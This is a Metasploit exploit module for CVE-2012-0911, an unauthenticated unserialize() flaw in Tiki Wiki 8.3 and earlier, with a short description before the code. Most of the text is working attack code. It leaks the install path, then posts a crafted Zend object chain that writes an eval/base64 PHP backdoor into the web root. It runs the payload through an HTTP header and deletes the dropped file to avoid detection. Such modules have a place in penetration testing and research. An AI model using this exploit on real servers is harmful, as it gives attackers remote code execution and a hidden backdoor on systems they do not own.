This Metasploit module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3 which could be abused to allow unauthenticated users to execute arbitrary code under the context of the webserver user. The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script, which is called with user controlled data from the 'printpages' parameter. The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy class to write arbitrary PHP code to a file on the Tiki Wiki web directory. In order to run successfully three conditions must be satisfied (1) display_errors php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php version older than 5.3.4 must be used to allow poison null bytes in filesystem related functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
04e6daabf6b6a5dba1b8fa576bc4f910b4df1c7b90652847142a832796744523
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# https://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tiki Wiki <= 8.3 unserialize() PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in Tiki Wiki <= 8.3
which could be abused to allow unauthenticated users to execute arbitrary code
under the context of the webserver user.
The dangerous unserialize() exists in the 'tiki-print_multi_pages.php' script,
which is called with user controlled data from the 'printpages' parameter.
The exploit abuses the __destruct() method from the Zend_Pdf_ElementFactory_Proxy
class to write arbitrary PHP code to a file on the Tiki Wiki web directory.
In order to run successfully three conditions must be satisfied (1) display_errors
php setting must be On to disclose the filesystem path of Tiki Wiki, (2) The Tiki
Wiki Multiprint feature must be enabled to exploit the unserialize() and (3) a php
version older than 5.3.4 must be used to allow poison null bytes in filesystem related
functions. The exploit has been tested successfully on Ubuntu 9.10 and Tiki Wiki 8.3.
},
'Author' =>
[
'EgiX', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0911' ],
[ 'BID', '54298' ],
[ 'EDB', '19573' ],
[ 'URL', 'https://dev.tiki.org/item4109' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Automatic', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 04 2012'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/tiki/"])
], self.class)
end
def on_new_session(client)
if client.type == "meterpreter"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
client.fs.file.rm(@upload_php)
print_good("#{@peer} - #{@upload_php} removed to stay ninja")
rescue
print_error("#{@peer} - Unable to remove #{f}")
end
end
end
def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem")
res = send_request_cgi(
'uri' => "#{base}tiki-rss_error.php"
)
if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/
print_error "Tiki Wiki path couldn't be disclosed. The php setting 'display_errors' must be On."
return
else
tiki_path = $1
print_good "#{@peer} - Tiki Wiki path disclosure: #{tiki_path}"
end
php_payload = "<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>"
printpages = "O:29:\"Zend_Pdf_ElementFactory_Proxy\":1:"
printpages << "{s:39:\"%00Zend_Pdf_ElementFactory_Proxy%00_factory\";O:51:\"Zend_Search_Lucene_Index_SegmentWriter_StreamWriter\":5:"
printpages << "{s:12:\"%00*%00_docCount\";i:1;s:8:\"%00*%00_name\";s:3:\"foo\";s:13:\"%00*%00_directory\";O:47:\"Zend_Search_Lucene_Storage_Directory_Filesystem\":1:"
printpages << "{s:11:\"%00*%00_dirPath\";s:#{tiki_path.length + @upload_php.length + 1}:\"#{tiki_path + @upload_php}%00\";}"
printpages << "s:10:\"%00*%00_fields\";a:1:"
printpages << "{i:0;O:34:\"Zend_Search_Lucene_Index_FieldInfo\":1:"
printpages << "{s:4:\"name\";s:#{php_payload.length}:\"#{php_payload}\";}}"
printpages << "s:9:\"%00*%00_files\";O:8:\"stdClass\":0:{}}}"
print_status("#{@peer} - Exploiting the unserialize() to upload PHP code")
res = send_request_cgi(
{
'uri' => "#{base}tiki-print_multi_pages.php",
'method' => 'POST',
'vars_post' => {
'printpages' => printpages
}
})
if not res or res.code != 200
print_error("#{@peer} - Exploit failed: #{res.code}. The Tiki Wiki Multiprint feature must be enabled.")
return
end
print_status("#{@peer} - Executing the payload #{@upload_php}")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => "#{base + @upload_php}",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
if res
print_error("#{@peer} - Payload execution failed: #{res.code}")
return
end
end
end